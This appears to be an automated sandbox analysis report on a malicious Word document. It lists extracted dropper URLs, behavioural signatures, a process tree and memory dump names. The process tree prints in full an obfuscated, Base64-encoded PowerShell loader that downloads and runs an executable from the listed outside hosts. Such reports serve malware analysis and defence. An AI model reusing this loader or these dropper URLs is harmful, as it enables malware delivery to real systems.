Analysis
- max time kernel
143s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
03/05/2024, 13:32
General
- Target 10a4e11c9927a538944bc054ed2fea42_JaffaCakes118.doc
- Size 169KB
- Sample240503-qtexwabd94
- SHA256 efdc82aee3049603e220ed4025a7c0b105b5841b71c0babd1c7bb8fc80ec702e
Malware Config
Extracted
-
ps1
-
exe.dropper
http://megasolucoesti.com/css/8xbi/
-
exe.dropper
https://matuteroofing.com/j-folder/2ZdI48222/
-
exe.dropper
http://mediainmedia.com/upload/xtmvg46/
-
exe.dropper
http://mgregoire.net/cgi-bin/095d075/
-
exe.dropper
http://www.mobialive.com/onlineshopping/XLccr/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 8 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\10a4e11c9927a538944bc054ed2fea42_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABNAFMASQBYAEMAbAB2AGMAPQAnAE0AVABXAEUAQwBnAHMAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAFUAcgBpAFQAeQBQAFIAYABPAFQATwBgAEMAYABPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABBAEYASABGAEcAdgBxAGgAIAA9ACAAJwAzADAAMQAnADsAJABDAFMAWABNAEwAdwBqAHoAPQAnAEIARwBKAFUAWgBtAGMAcAAnADsAJABPAFQATABSAEQAdQBmAHEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEEARgBIAEYARwB2AHEAaAArACcALgBlAHgAZQAnADsAJABSAFEAWgBXAEEAYQB0AHcAPQAnAFYAQwBCAE4AVQBuAGgAZQAnADsAJABFAEMAUABSAE8AdQBhAGEAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AVwBlAEIAQwBMAGkARQBuAHQAOwAkAFUAVwBTAFIAQgB0AGoAZgA9ACcAaAB0AHQAcAA6AC8ALwBtAGUAZwBhAHMAbwBsAHUAYwBvAGUAcwB0AGkALgBjAG8AbQAvAGMAcwBzAC8AOAB4AGIAaQAvACoAaAB0AHQAcABzADoALwAvAG0AYQB0AHUAdABlAHIAbwBvAGYAaQBuAGcALgBjAG8AbQAvAGoALQBmAG8AbABkAGUAcgAvADIAWgBkAEkANAA4ADIAMgAyAC8AKgBoAHQAdABwADoALwAvAG0AZQBkAGkAYQBpAG4AbQBlAGQAaQBhAC4AYwBvAG0ALwB1AHAAbABvAGEAZAAvAHgAdABtAHYAZwA0ADYALwAqAGgAdAB0AHAAOgAvAC8AbQBnAHIAZQBnAG8AaQByAGUALgBuAGUAdAAvAGMAZwBpAC0AYgBpAG4ALwAwADkANQBkADAANwA1AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbQBvAGIAaQBhAGwAaQB2AGUALgBjAG8AbQAvAG8AbgBsAGkAbgBlAHMAaABvAHAAcABpAG4AZwAvAFgATABjAGMAcgAvACcALgAiAFMAYABwAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBHAFgAQgBTAG0AdgBhAD0AJwBDAFoAWABTAEEAcgB6AHYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEgATgBGAEsARwBrAG8AaQAgAGkAbgAgACQAVQBXAFMAUgBCAHQAagBmACkAewB0AHIAeQB7ACQARQBDAFAAUgBPAHUAYQBhAC4AIgBEAE8AdwBuAGAATABgAE8AQQBEAEYASQBsAEUAIgAoACQASABOAEYASwBHAGsAbwBpACwAIAAkAE8AVABMAFIARAB1AGYAcQApADsAJABKAEcAUwBYAFQAbwB1AG4APQAnAFkATwBNAFYATQB1AGgAbgAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAE8AVABMAFIARAB1AGYAcQApAC4AIgBMAGAARQBuAEcAVABoACIAIAAtAGcAZQAgADIANgA3ADgANQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwBSAGAARQBhAFQARQAiACgAJABPAFQATABSAEQAdQBmAHEAKQA7ACQAUABZAE4AQgBBAG0AcQB3AD0AJwBDAEMASwBOAFkAeAB4AHkAJwA7AGIAcgBlAGEAawA7ACQAUgBOAEkARwBGAHAAdwBsAD0AJwBIAE0AQwBMAE0AaQBlAGYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBGAFIASwBDAHMAcQBrAD0AJwBPAEEATgBZAFAAdwB1AHcAJwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3760 --field-trial-handle=2284,i,9807419199535700662,2319175108930815708,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_lqelszoa.u4j.ps1
memory/3892-9-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-2-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp
memory/3892-3-0x00007FFE7F4AD000-0x00007FFE7F4AE000-memory.dmp
memory/3892-4-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp
memory/3892-5-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp
memory/3892-6-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-7-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-8-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-0-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp
memory/3892-10-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-12-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-11-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-13-0x00007FFE3CF80000-0x00007FFE3CF90000-memory.dmp
memory/3892-14-0x00007FFE3CF80000-0x00007FFE3CF90000-memory.dmp
memory/3892-26-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-27-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-1-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp
memory/3892-120-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-118-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp
memory/3892-80-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-81-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-82-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-84-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-83-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-86-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-85-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-87-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-119-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp
memory/3892-95-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-96-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/3892-116-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp
memory/3892-117-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp
memory/5020-94-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp
memory/5020-75-0x000001A06A650000-0x000001A06A672000-memory.dmp
memory/5020-69-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp